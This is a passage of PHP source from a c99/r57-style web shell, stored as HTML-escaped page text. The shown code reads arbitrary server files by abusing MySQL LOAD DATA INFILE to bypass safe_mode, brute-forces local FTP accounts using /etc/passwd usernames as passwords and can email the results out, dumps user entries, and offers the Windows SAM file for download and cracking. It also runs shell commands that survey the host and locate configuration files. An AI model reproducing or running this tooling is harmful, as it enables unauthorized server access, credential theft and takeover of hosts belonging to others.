    if ($sql_act == &amp;quot;getfile&amp;quot;)&lt;br /&gt;
    {&lt;br /&gt;
     $tmpdb = $sql_login.&amp;quot;_tmpdb&amp;quot;;&lt;br /&gt;
     $select = mysql_select_db($tmpdb);&lt;br /&gt;
     if (!$select) {mysql_create_db($tmpdb); $select = mysql_select_db($tmpdb); $created = !!$select;}&lt;br /&gt;
     if ($select)&lt;br /&gt;
     {&lt;br /&gt;
      $created = FALSE;&lt;br /&gt;
      mysql_query(&amp;quot;CREATE TABLE `tmp_file` ( `Viewing the file in safe_mode+open_basedir` LONGBLOB NOT NULL );&amp;quot;);&lt;br /&gt;
      mysql_query(&amp;quot;LOAD DATA INFILE \&amp;quot;&amp;quot;.addslashes($sql_getfile).&amp;quot;\&amp;quot; INTO TABLE tmp_file&amp;quot;);&lt;br /&gt;
      $result = mysql_query(&amp;quot;SELECT * FROM tmp_file;&amp;quot;);&lt;br /&gt;
      if (!$result) {echo &amp;quot;&amp;lt;b&amp;gt;Error in reading file (permision denied)!&amp;lt;/b&amp;gt;&amp;quot;;}&lt;br /&gt;
      else&lt;br /&gt;
      {&lt;br /&gt;
       for ($i=0;$i&amp;lt;mysql_num_fields($result);$i++) {$name = mysql_field_name($result,$i);}&lt;br /&gt;
       $f = &amp;quot;&amp;quot;;&lt;br /&gt;
       while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) {$f .= join (&amp;quot;\r\n&amp;quot;,$row);}&lt;br /&gt;
       if (empty($f)) {echo &amp;quot;&amp;lt;b&amp;gt;File \&amp;quot;&amp;quot;.$sql_getfile.&amp;quot;\&amp;quot; does not exists or empty!&amp;lt;/b&amp;gt;&amp;lt;br&amp;gt;&amp;quot;;}&lt;br /&gt;
       else {echo &amp;quot;&amp;lt;b&amp;gt;File \&amp;quot;&amp;quot;.$sql_getfile.&amp;quot;\&amp;quot;:&amp;lt;/b&amp;gt;&amp;lt;br&amp;gt;&amp;quot;.nl2br(htmlspecialchars($f)).&amp;quot;&amp;lt;br&amp;gt;&amp;quot;;}&lt;br /&gt;
       mysql_free_result($result);&lt;br /&gt;
       mysql_query(&amp;quot;DROP TABLE tmp_file;&amp;quot;);&lt;br /&gt;
      }&lt;br /&gt;
     }&lt;br /&gt;
     mysql_drop_db($tmpdb); //comment it if you want to leave database&lt;br /&gt;
    }&lt;br /&gt;
   }&lt;br /&gt;
  }&lt;br /&gt;
 }&lt;br /&gt;
 echo &amp;quot;&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&amp;lt;/table&amp;gt;&amp;quot;;&lt;br /&gt;
 if ($sql_sock)&lt;br /&gt;
 {&lt;br /&gt;
  $affected = @mysql_affected_rows($sql_sock);&lt;br /&gt;
  if ((!is_numeric($affected)) or ($affected &amp;lt; 0)){$affected = 0;}&lt;br /&gt;
  echo &amp;quot;&amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;&amp;lt;center&amp;gt;&amp;lt;b&amp;gt;Affected rows: &amp;quot;.$affected.&amp;quot;&amp;lt;/center&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&amp;quot;;&lt;br /&gt;
 }&lt;br /&gt;
 echo &amp;quot;&amp;lt;/table&amp;gt;&amp;quot;;&lt;br /&gt;
}&lt;br /&gt;
if ($act == &amp;quot;mkdir&amp;quot;)&lt;br /&gt;
{&lt;br /&gt;
 if ($mkdir != $d)&lt;br /&gt;
 {&lt;br /&gt;
  if (file_exists($mkdir)) {echo &amp;quot;&amp;lt;b&amp;gt;Make Dir \&amp;quot;&amp;quot;.htmlspecialchars($mkdir).&amp;quot;\&amp;quot;&amp;lt;/b&amp;gt;: object alredy exists&amp;quot;;}&lt;br /&gt;
  elseif (!mkdir($mkdir)) {echo &amp;quot;&amp;lt;b&amp;gt;Make Dir \&amp;quot;&amp;quot;.htmlspecialchars($mkdir).&amp;quot;\&amp;quot;&amp;lt;/b&amp;gt;: access denied&amp;quot;;}&lt;br /&gt;
  echo &amp;quot;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;quot;;&lt;br /&gt;
 }&lt;br /&gt;
 $act = $dspact = &amp;quot;ls&amp;quot;;&lt;br /&gt;
}&lt;br /&gt;
if ($act == &amp;quot;ftpquickbrute&amp;quot;)&lt;br /&gt;
{&lt;br /&gt;
 echo &amp;quot;&amp;lt;b&amp;gt;Ftp Quick brute:&amp;lt;/b&amp;gt;&amp;lt;br&amp;gt;&amp;quot;;&lt;br /&gt;
 if (!win) {echo &amp;quot;This functions not work in Windows!&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;quot;;}&lt;br /&gt;
 else&lt;br /&gt;
 {&lt;br /&gt;
  function k1r4ftpbrutecheck($host,$port,$timeout,$login,$pass,$sh,$fqb_onlywithsh)&lt;br /&gt;
  {&lt;br /&gt;
   if ($fqb_onlywithsh) {$TRUE = (!in_array($sh,array(&amp;quot;/bin/FALSE&amp;quot;,&amp;quot;/sbin/nologin&amp;quot;)));}&lt;br /&gt;
   else {$TRUE = TRUE;}&lt;br /&gt;
   if ($TRUE)&lt;br /&gt;
   {&lt;br /&gt;
    $sock = @ftp_connect($host,$port,$timeout);&lt;br /&gt;
    if (@ftp_login($sock,$login,$pass))&lt;br /&gt;
    {&lt;br /&gt;
     echo &amp;quot;&amp;lt;a href=\&amp;quot;ftp://&amp;quot;.$login.&amp;quot;:&amp;quot;.$pass.&amp;quot;@&amp;quot;.$host.&amp;quot;\&amp;quot; target=\&amp;quot;_blank\&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Connected to &amp;quot;.$host.&amp;quot; with login \&amp;quot;&amp;quot;.$login.&amp;quot;\&amp;quot; and password \&amp;quot;&amp;quot;.$pass.&amp;quot;\&amp;quot;&amp;lt;/b&amp;gt;&amp;lt;/a&amp;gt;.&amp;lt;br&amp;gt;&amp;quot;;&lt;br /&gt;
     ob_flush();&lt;br /&gt;
     return TRUE;&lt;br /&gt;
    }&lt;br /&gt;
   }&lt;br /&gt;
  }&lt;br /&gt;
  if (!empty($submit))&lt;br /&gt;
  {&lt;br /&gt;
   if (!is_numeric($fqb_lenght)) {$fqb_lenght = $nixpwdperpage;}&lt;br /&gt;
   $fp = fopen(&amp;quot;/etc/passwd&amp;quot;,&amp;quot;r&amp;quot;);&lt;br /&gt;
   if (!$fp) {echo &amp;quot;Can't get /etc/passwd for password-list.&amp;quot;;}&lt;br /&gt;
   else&lt;br /&gt;
   {&lt;br /&gt;
    if ($fqb_logging)&lt;br /&gt;
    {&lt;br /&gt;
     if ($fqb_logfile) {$fqb_logfp = fopen($fqb_logfile,&amp;quot;w&amp;quot;);}&lt;br /&gt;
     else {$fqb_logfp = FALSE;}&lt;br /&gt;
     $fqb_log = &amp;quot;FTP Quick Brute (called r57c99.com.Org &amp;quot;.$shver.&amp;quot;) started at &amp;quot;.date(&amp;quot;d.m.Y H:i:s&amp;quot;).&amp;quot;\r\n\r\n&amp;quot;;&lt;br /&gt;
     if ($fqb_logfile) {fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));}&lt;br /&gt;
    }&lt;br /&gt;
    ob_flush();&lt;br /&gt;
    $i = $success = 0;&lt;br /&gt;
    $ftpquick_st = getmicrotime();&lt;br /&gt;
    while(!feof($fp))&lt;br /&gt;
    {&lt;br /&gt;
     $str = explode(&amp;quot;:&amp;quot;,fgets($fp,2048));&lt;br /&gt;
     if (k1r4ftpbrutecheck(&amp;quot;localhost&amp;quot;,21,1,$str[0],$str[0],$str[6],$fqb_onlywithsh))&lt;br /&gt;
     {&lt;br /&gt;
      echo &amp;quot;&amp;lt;b&amp;gt;Connected to &amp;quot;.getenv(&amp;quot;SERVER_NAME&amp;quot;).&amp;quot; with login \&amp;quot;&amp;quot;.$str[0].&amp;quot;\&amp;quot; and password \&amp;quot;&amp;quot;.$str[0].&amp;quot;\&amp;quot;&amp;lt;/b&amp;gt;&amp;lt;br&amp;gt;&amp;quot;;&lt;br /&gt;
      $fqb_log .= &amp;quot;Connected to &amp;quot;.getenv(&amp;quot;SERVER_NAME&amp;quot;).&amp;quot; with login \&amp;quot;&amp;quot;.$str[0].&amp;quot;\&amp;quot; and password \&amp;quot;&amp;quot;.$str[0].&amp;quot;\&amp;quot;, at &amp;quot;.date(&amp;quot;d.m.Y H:i:s&amp;quot;).&amp;quot;\r\n&amp;quot;;&lt;br /&gt;
      if ($fqb_logfp) {fseek($fqb_logfp,0); fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));}&lt;br /&gt;
      $success++;&lt;br /&gt;
      ob_flush();&lt;br /&gt;
     }&lt;br /&gt;
     if ($i &amp;gt; $fqb_lenght) {break;}&lt;br /&gt;
     $i++;&lt;br /&gt;
    }&lt;br /&gt;
    if ($success == 0) {echo &amp;quot;No success. connections!&amp;quot;; $fqb_log .= &amp;quot;No success. connections!\r\n&amp;quot;;}&lt;br /&gt;
    $ftpquick_t = round(getmicrotime()-$ftpquick_st,4);&lt;br /&gt;
    echo &amp;quot;&amp;lt;hr size=\&amp;quot;1\&amp;quot; noshade&amp;gt;&amp;lt;b&amp;gt;Done!&amp;lt;/b&amp;gt;&amp;lt;br&amp;gt;Total time (secs.): &amp;quot;.$ftpquick_t.&amp;quot;&amp;lt;br&amp;gt;Total connections: &amp;quot;.$i.&amp;quot;&amp;lt;br&amp;gt;Success.: &amp;lt;font color=green&amp;gt;&amp;lt;b&amp;gt;&amp;quot;.$success.&amp;quot;&amp;lt;/b&amp;gt;&amp;lt;/font&amp;gt;&amp;lt;br&amp;gt;Unsuccess.:&amp;quot;.($i-$success).&amp;quot;&amp;lt;/b&amp;gt;&amp;lt;br&amp;gt;Connects per second: &amp;quot;.round($i/$ftpquick_t,2).&amp;quot;&amp;lt;br&amp;gt;&amp;quot;;&lt;br /&gt;
    $fqb_log .= &amp;quot;\r\n------------------------------------------\r\nDone!\r\nTotal time (secs.): &amp;quot;.$ftpquick_t.&amp;quot;\r\nTotal connections: &amp;quot;.$i.&amp;quot;\r\nSuccess.: &amp;quot;.$success.&amp;quot;\r\nUnsuccess.:&amp;quot;.($i-$success).&amp;quot;\r\nConnects per second: &amp;quot;.round($i/$ftpquick_t,2).&amp;quot;\r\n&amp;quot;;&lt;br /&gt;
    if ($fqb_logfp) {fseek($fqb_logfp,0); fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));}&lt;br /&gt;
    if ($fqb_logemail) {@mail($fqb_logemail,&amp;quot;r57c99.com.Org &amp;quot;.$shver.&amp;quot; report&amp;quot;,$fqb_log);}&lt;br /&gt;
    fclose($fqb_logfp);&lt;br /&gt;
   }&lt;br /&gt;
  }&lt;br /&gt;
  else&lt;br /&gt;
  {&lt;br /&gt;
   $logfile = $tmpdir_logs.&amp;quot;k1r4_ftpquickbrute_&amp;quot;.date(&amp;quot;d.m.Y_H_i_s&amp;quot;).&amp;quot;.log&amp;quot;;&lt;br /&gt;
   $logfile = str_replace(&amp;quot;//&amp;quot;,DIRECTORY_SEPARATOR,$logfile);&lt;br /&gt;
   echo &amp;quot;&amp;lt;form action=\&amp;quot;&amp;quot;.$surl.&amp;quot;\&amp;quot;&amp;gt;&amp;lt;input type=hidden name=act value=\&amp;quot;ftpquickbrute\&amp;quot;&amp;gt;&amp;lt;br&amp;gt;Read first: &amp;lt;input type=text name=\&amp;quot;fqb_lenght\&amp;quot; value=\&amp;quot;&amp;quot;.$nixpwdperpage.&amp;quot;\&amp;quot;&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;Users only with shell?&amp;amp;nbsp;&amp;lt;input type=\&amp;quot;checkbox\&amp;quot; name=\&amp;quot;fqb_onlywithsh\&amp;quot; value=\&amp;quot;1\&amp;quot;&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;Logging?&amp;amp;nbsp;&amp;lt;input type=\&amp;quot;checkbox\&amp;quot; name=\&amp;quot;fqb_logging\&amp;quot; value=\&amp;quot;1\&amp;quot; checked&amp;gt;&amp;lt;br&amp;gt;Logging to file?&amp;amp;nbsp;&amp;lt;input type=\&amp;quot;text\&amp;quot; name=\&amp;quot;fqb_logfile\&amp;quot; value=\&amp;quot;&amp;quot;.$logfile.&amp;quot;\&amp;quot; size=\&amp;quot;&amp;quot;.(strlen($logfile)+2*(strlen($logfile)/10)).&amp;quot;\&amp;quot;&amp;gt;&amp;lt;br&amp;gt;Logging to e-mail?&amp;amp;nbsp;&amp;lt;input type=\&amp;quot;text\&amp;quot; name=\&amp;quot;fqb_logemail\&amp;quot; value=\&amp;quot;&amp;quot;.$log_email.&amp;quot;\&amp;quot; size=\&amp;quot;&amp;quot;.(strlen($logemail)+2*(strlen($logemail)/10)).&amp;quot;\&amp;quot;&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;input type=submit name=submit value=\&amp;quot;Brute\&amp;quot;&amp;gt;&amp;lt;/form&amp;gt;&amp;quot;;&lt;br /&gt;
  }&lt;br /&gt;
 }&lt;br /&gt;
}&lt;br /&gt;
if ($act == &amp;quot;d&amp;quot;)&lt;br /&gt;
{&lt;br /&gt;
 if (!is_dir($d)) {echo &amp;quot;&amp;lt;center&amp;gt;&amp;lt;b&amp;gt;Permision denied!&amp;lt;/b&amp;gt;&amp;lt;/center&amp;gt;&amp;quot;;}&lt;br /&gt;
 else&lt;br /&gt;
 {&lt;br /&gt;
  echo &amp;quot;&amp;lt;b&amp;gt;Directory information:&amp;lt;/b&amp;gt;&amp;lt;table border=0 cellspacing=1 cellpadding=2&amp;gt;&amp;quot;;&lt;br /&gt;
  if (!$win)&lt;br /&gt;
  {&lt;br /&gt;
   echo &amp;quot;&amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;&amp;lt;b&amp;gt;Owner/Group&amp;lt;/b&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt; &amp;quot;;&lt;br /&gt;
   $ow = posix_getpwuid(fileowner($d));&lt;br /&gt;
   $gr = posix_getgrgid(filegroup($d));&lt;br /&gt;
   $row[] = ($ow[&amp;quot;name&amp;quot;]?$ow[&amp;quot;name&amp;quot;]:fileowner($d)).&amp;quot;/&amp;quot;.($gr[&amp;quot;name&amp;quot;]?$gr[&amp;quot;name&amp;quot;]:filegroup($d));&lt;br /&gt;
  }&lt;br /&gt;
  echo &amp;quot;&amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;&amp;lt;b&amp;gt;Perms&amp;lt;/b&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;&amp;lt;a href=\&amp;quot;&amp;quot;.$surl.&amp;quot;act=chmod&amp;amp;d=&amp;quot;.urlencode($d).&amp;quot;\&amp;quot;&amp;gt;&amp;lt;b&amp;gt;&amp;quot;.view_perms_color($d).&amp;quot;&amp;lt;/b&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;&amp;lt;b&amp;gt;Create time&amp;lt;/b&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt; &amp;quot;.date(&amp;quot;d/m/Y H:i:s&amp;quot;,filectime($d)).&amp;quot;&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;&amp;lt;b&amp;gt;Access time&amp;lt;/b&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt; &amp;quot;.date(&amp;quot;d/m/Y H:i:s&amp;quot;,fileatime($d)).&amp;quot;&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;&amp;lt;b&amp;gt;MODIFY time&amp;lt;/b&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt; &amp;quot;.date(&amp;quot;d/m/Y H:i:s&amp;quot;,filemtime($d)).&amp;quot;&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&amp;lt;/table&amp;gt;&amp;lt;br&amp;gt;&amp;quot;;&lt;br /&gt;
 }&lt;br /&gt;
}&lt;br /&gt;
if ($act == &amp;quot;phpinfo&amp;quot;) {@ob_clean(); phpinfo(); k1r4exit();}&lt;br /&gt;
if ($act == &amp;quot;security&amp;quot;)&lt;br /&gt;
{&lt;br /&gt;
 echo &amp;quot;&amp;lt;center&amp;gt;&amp;lt;b&amp;gt;Server security information:&amp;lt;/b&amp;gt;&amp;lt;/center&amp;gt;&amp;lt;b&amp;gt;Open base dir: &amp;quot;.$hopenbasedir.&amp;quot;&amp;lt;/b&amp;gt;&amp;lt;br&amp;gt;&amp;quot;;&lt;br /&gt;
 if (!$win)&lt;br /&gt;
 {&lt;br /&gt;
  if ($nixpasswd)&lt;br /&gt;
  {&lt;br /&gt;
   if ($nixpasswd == 1) {$nixpasswd = 0;}&lt;br /&gt;
   echo &amp;quot;&amp;lt;b&amp;gt;*nix /etc/passwd:&amp;lt;/b&amp;gt;&amp;lt;br&amp;gt;&amp;quot;;&lt;br /&gt;
   if (!is_numeric($nixpwd_s)) {$nixpwd_s = 0;}&lt;br /&gt;
   if (!is_numeric($nixpwd_e)) {$nixpwd_e = $nixpwdperpage;}&lt;br /&gt;
   echo &amp;quot;&amp;lt;form action=\&amp;quot;&amp;quot;.$surl.&amp;quot;\&amp;quot;&amp;gt;&amp;lt;input type=hidden name=act value=\&amp;quot;security\&amp;quot;&amp;gt;&amp;lt;input type=hidden name=\&amp;quot;nixpasswd\&amp;quot; value=\&amp;quot;1\&amp;quot;&amp;gt;&amp;lt;b&amp;gt;From:&amp;lt;/b&amp;gt;&amp;amp;nbsp;&amp;lt;input type=\&amp;quot;text=\&amp;quot; name=\&amp;quot;nixpwd_s\&amp;quot; value=\&amp;quot;&amp;quot;.$nixpwd_s.&amp;quot;\&amp;quot;&amp;gt;&amp;amp;nbsp;&amp;lt;b&amp;gt;To:&amp;lt;/b&amp;gt;&amp;amp;nbsp;&amp;lt;input type=\&amp;quot;text\&amp;quot; name=\&amp;quot;nixpwd_e\&amp;quot; value=\&amp;quot;&amp;quot;.$nixpwd_e.&amp;quot;\&amp;quot;&amp;gt;&amp;amp;nbsp;&amp;lt;input type=submit value=\&amp;quot;View\&amp;quot;&amp;gt;&amp;lt;/form&amp;gt;&amp;lt;br&amp;gt;&amp;quot;;&lt;br /&gt;
   $i = $nixpwd_s;&lt;br /&gt;
   while ($i &amp;lt; $nixpwd_e)&lt;br /&gt;
   {&lt;br /&gt;
    $uid = posix_getpwuid($i);&lt;br /&gt;
    if ($uid)&lt;br /&gt;
    {&lt;br /&gt;
     $uid[&amp;quot;dir&amp;quot;] = &amp;quot;&amp;lt;a href=\&amp;quot;&amp;quot;.$surl.&amp;quot;act=ls&amp;amp;d=&amp;quot;.urlencode($uid[&amp;quot;dir&amp;quot;]).&amp;quot;\&amp;quot;&amp;gt;&amp;quot;.$uid[&amp;quot;dir&amp;quot;].&amp;quot;&amp;lt;/a&amp;gt;&amp;quot;;&lt;br /&gt;
     echo join(&amp;quot;:&amp;quot;,$uid).&amp;quot;&amp;lt;br&amp;gt;&amp;quot;;&lt;br /&gt;
    }&lt;br /&gt;
    $i++;&lt;br /&gt;
   }&lt;br /&gt;
  }&lt;br /&gt;
  else {echo &amp;quot;&amp;lt;br&amp;gt;&amp;lt;a href=\&amp;quot;&amp;quot;.$surl.&amp;quot;act=security&amp;amp;nixpasswd=1&amp;amp;d=&amp;quot;.$ud.&amp;quot;\&amp;quot;&amp;gt;&amp;lt;b&amp;gt;&amp;lt;u&amp;gt;Get /etc/passwd&amp;lt;/u&amp;gt;&amp;lt;/b&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;br&amp;gt;&amp;quot;;}&lt;br /&gt;
 }&lt;br /&gt;
 else&lt;br /&gt;
 {&lt;br /&gt;
  $v = $_SERVER[&amp;quot;WINDIR&amp;quot;].&amp;quot;\repair\sam&amp;quot;;&lt;br /&gt;
  if (file_get_contents($v)) {echo &amp;quot;&amp;lt;b&amp;gt;&amp;lt;font color=red&amp;gt;You can't crack winnt passwords(&amp;quot;.$v.&amp;quot;) &amp;lt;/font&amp;gt;&amp;lt;/b&amp;gt;&amp;lt;br&amp;gt;&amp;quot;;}&lt;br /&gt;
  else {echo &amp;quot;&amp;lt;b&amp;gt;&amp;lt;font color=green&amp;gt;You can crack winnt passwords. &amp;lt;a href=\&amp;quot;&amp;quot;.$surl.&amp;quot;act=f&amp;amp;f=sam&amp;amp;d=&amp;quot;.$_SERVER[&amp;quot;WINDIR&amp;quot;].&amp;quot;\\repair&amp;amp;ft=download\&amp;quot;&amp;gt;&amp;lt;u&amp;gt;&amp;lt;b&amp;gt;Download&amp;lt;/b&amp;gt;&amp;lt;/u&amp;gt;&amp;lt;/a&amp;gt;, and use lcp.crack+ ©.&amp;lt;/font&amp;gt;&amp;lt;/b&amp;gt;&amp;lt;br&amp;gt;&amp;quot;;}&lt;br /&gt;
 }&lt;br /&gt;
 if (file_get_contents(&amp;quot;/etc/userdomains&amp;quot;)) {echo &amp;quot;&amp;lt;b&amp;gt;&amp;lt;font color=green&amp;gt;&amp;lt;a href=\&amp;quot;&amp;quot;.$surl.&amp;quot;act=f&amp;amp;f=userdomains&amp;amp;d=&amp;quot;.urlencode(&amp;quot;/etc&amp;quot;).&amp;quot;&amp;amp;ft=txt\&amp;quot;&amp;gt;&amp;lt;u&amp;gt;&amp;lt;b&amp;gt;View cpanel user-domains logs&amp;lt;/b&amp;gt;&amp;lt;/u&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/font&amp;gt;&amp;lt;/b&amp;gt;&amp;lt;br&amp;gt;&amp;quot;;}&lt;br /&gt;
 if (file_get_contents(&amp;quot;/var/cpanel/accounting.log&amp;quot;)) {echo &amp;quot;&amp;lt;b&amp;gt;&amp;lt;font color=green&amp;gt;&amp;lt;a href=\&amp;quot;&amp;quot;.$surl.&amp;quot;act=f&amp;amp;f=accounting.log&amp;amp;d=&amp;quot;.urlencode(&amp;quot;/var/cpanel/&amp;quot;).&amp;quot;\&amp;quot;&amp;amp;ft=txt&amp;gt;&amp;lt;u&amp;gt;&amp;lt;b&amp;gt;View cpanel logs&amp;lt;/b&amp;gt;&amp;lt;/u&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/font&amp;gt;&amp;lt;/b&amp;gt;&amp;lt;br&amp;gt;&amp;quot;;}&lt;br /&gt;
 if (file_get_contents(&amp;quot;/usr/local/apache/conf/httpd.conf&amp;quot;)) {echo &amp;quot;&amp;lt;b&amp;gt;&amp;lt;font color=green&amp;gt;&amp;lt;a href=\&amp;quot;&amp;quot;.$surl.&amp;quot;act=f&amp;amp;f=httpd.conf&amp;amp;d=&amp;quot;.urlencode(&amp;quot;/usr/local/apache/conf&amp;quot;).&amp;quot;&amp;amp;ft=txt\&amp;quot;&amp;gt;&amp;lt;u&amp;gt;&amp;lt;b&amp;gt;Apache configuration (httpd.conf)&amp;lt;/b&amp;gt;&amp;lt;/u&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/font&amp;gt;&amp;lt;/b&amp;gt;&amp;lt;br&amp;gt;&amp;quot;;}&lt;br /&gt;
 if (file_get_contents(&amp;quot;/etc/httpd.conf&amp;quot;)) {echo &amp;quot;&amp;lt;b&amp;gt;&amp;lt;font color=green&amp;gt;&amp;lt;a href=\&amp;quot;&amp;quot;.$surl.&amp;quot;act=f&amp;amp;f=httpd.conf&amp;amp;d=&amp;quot;.urlencode(&amp;quot;/etc&amp;quot;).&amp;quot;&amp;amp;ft=txt\&amp;quot;&amp;gt;&amp;lt;u&amp;gt;&amp;lt;b&amp;gt;Apache configuration (httpd.conf)&amp;lt;/b&amp;gt;&amp;lt;/u&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/font&amp;gt;&amp;lt;/b&amp;gt;&amp;lt;br&amp;gt;&amp;quot;;}&lt;br /&gt;
 if (file_get_contents(&amp;quot;/etc/syslog.conf&amp;quot;)) {echo &amp;quot;&amp;lt;b&amp;gt;&amp;lt;font color=green&amp;gt;&amp;lt;a href=\&amp;quot;&amp;quot;.$surl.&amp;quot;act=f&amp;amp;f=syslog.conf&amp;amp;d=&amp;quot;.urlencode(&amp;quot;/etc&amp;quot;).&amp;quot;&amp;amp;ft=txt\&amp;quot;&amp;gt;&amp;lt;u&amp;gt;&amp;lt;b&amp;gt;Syslog configuration (syslog.conf)&amp;lt;/b&amp;gt;&amp;lt;/u&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/font&amp;gt;&amp;lt;/b&amp;gt;&amp;lt;br&amp;gt;&amp;quot;;}&lt;br /&gt;
 if (file_get_contents(&amp;quot;/etc/motd&amp;quot;)) {echo &amp;quot;&amp;lt;b&amp;gt;&amp;lt;font color=green&amp;gt;&amp;lt;a href=\&amp;quot;&amp;quot;.$surl.&amp;quot;act=f&amp;amp;f=motd&amp;amp;d=&amp;quot;.urlencode(&amp;quot;/etc&amp;quot;).&amp;quot;&amp;amp;ft=txt\&amp;quot;&amp;gt;&amp;lt;u&amp;gt;&amp;lt;b&amp;gt;Message Of The Day&amp;lt;/b&amp;gt;&amp;lt;/u&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/font&amp;gt;&amp;lt;/b&amp;gt;&amp;lt;br&amp;gt;&amp;quot;;}&lt;br /&gt;
 if (file_get_contents(&amp;quot;/etc/hosts&amp;quot;)) {echo &amp;quot;&amp;lt;b&amp;gt;&amp;lt;font color=green&amp;gt;&amp;lt;a href=\&amp;quot;&amp;quot;.$surl.&amp;quot;act=f&amp;amp;f=hosts&amp;amp;d=&amp;quot;.urlencode(&amp;quot;/etc&amp;quot;).&amp;quot;&amp;amp;ft=txt\&amp;quot;&amp;gt;&amp;lt;u&amp;gt;&amp;lt;b&amp;gt;Hosts&amp;lt;/b&amp;gt;&amp;lt;/u&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/font&amp;gt;&amp;lt;/b&amp;gt;&amp;lt;br&amp;gt;&amp;quot;;}&lt;br /&gt;
 function displaysecinfo($name,$value) {if (!empty($value)) {if (!empty($name)) {$name = &amp;quot;&amp;lt;b&amp;gt;&amp;quot;.$name.&amp;quot; - &amp;lt;/b&amp;gt;&amp;quot;;} echo $name.nl2br($value).&amp;quot;&amp;lt;br&amp;gt;&amp;quot;;}}&lt;br /&gt;
 displaysecinfo(&amp;quot;OS Version?&amp;quot;,myshellexec(&amp;quot;cat /proc/version&amp;quot;));&lt;br /&gt;
 displaysecinfo(&amp;quot;Kernel version?&amp;quot;,myshellexec(&amp;quot;sysctl -a | grep version&amp;quot;));&lt;br /&gt;
 displaysecinfo(&amp;quot;Distrib name&amp;quot;,myshellexec(&amp;quot;cat /etc/issue.net&amp;quot;));&lt;br /&gt;
 displaysecinfo(&amp;quot;Distrib name (2)&amp;quot;,myshellexec(&amp;quot;cat /etc/*-realise&amp;quot;));&lt;br /&gt;
 displaysecinfo(&amp;quot;CPU?&amp;quot;,myshellexec(&amp;quot;cat /proc/cpuinfo&amp;quot;));&lt;br /&gt;
 displaysecinfo(&amp;quot;RAM&amp;quot;,myshellexec(&amp;quot;free -m&amp;quot;));&lt;br /&gt;
 displaysecinfo(&amp;quot;HDD space&amp;quot;,myshellexec(&amp;quot;df -h&amp;quot;));&lt;br /&gt;
 displaysecinfo(&amp;quot;List of Attributes&amp;quot;,myshellexec(&amp;quot;lsattr -a&amp;quot;));&lt;br /&gt;
 displaysecinfo(&amp;quot;Mount options &amp;quot;,myshellexec(&amp;quot;cat /etc/fstab&amp;quot;));&lt;br /&gt;
 displaysecinfo(&amp;quot;Is cURL installed?&amp;quot;,myshellexec(&amp;quot;which curl&amp;quot;));&lt;br /&gt;
 displaysecinfo(&amp;quot;Is lynx installed?&amp;quot;,myshellexec(&amp;quot;which lynx&amp;quot;));&lt;br /&gt;
 displaysecinfo(&amp;quot;Is links installed?&amp;quot;,myshellexec(&amp;quot;which links&amp;quot;));&lt;br /&gt;
 displaysecinfo(&amp;quot;Is fetch installed?&amp;quot;,myshellexec(&amp;quot;which fetch&amp;quot;));&lt;br /&gt;
 displaysecinfo(&amp;quot;Is GET installed?&amp;quot;,myshellexec(&amp;quot;which GET&amp;quot;));&lt;br /&gt;
 displaysecinfo(&amp;quot;Is perl installed?&amp;quot;,myshellexec(&amp;quot;which perl&amp;quot;));&lt;br /&gt;
 displaysecinfo(&amp;quot;Where is apache&amp;quot;,myshellexec(&amp;quot;whereis apache&amp;quot;));&lt;br /&gt;
 displaysecinfo(&amp;quot;Where is perl?&amp;quot;,myshellexec(&amp;quot;whereis perl&amp;quot;));&lt;br /&gt;
 displaysecinfo(&amp;quot;locate proftpd.conf&amp;quot;,myshellexec(&amp;quot;locate proftpd.conf&amp;quot;));&lt;br /&gt;
 displaysecinfo(&amp;quot;locate httpd.conf&amp;quot;,myshellexec(&amp;quot;locate httpd.conf&amp;quot;));&lt;br /&gt;
 displaysecinfo(&amp;quot;locate my.conf&amp;quot;,myshellexec(&amp;quot;locate my.conf&amp;quot;));&lt;br /&gt;
 displaysecinfo(&amp;quot;locate psybnc.conf&amp;quot;,myshellexec(&amp;quot;locate psybnc.conf&amp;quot;));&lt;br /&gt;
}&lt;br /&gt;
if ($act == &amp;quot;mkfile&amp;quot;)&lt;br /&gt;
{&lt;br /&gt;
 if ($mkfile != $d)&lt;br /&gt;
 {&lt;br /&gt;
  if (file_exists($mkfile)) {echo &amp;quot;&amp;lt;b&amp;gt;Make File \&amp;quot;&amp;quot;.htmlspecialchars($mkfile).&amp;quot;\&amp;quot;&amp;lt;/b&amp;gt;: object alredy exists&amp;quot;;}&lt;br /&gt;
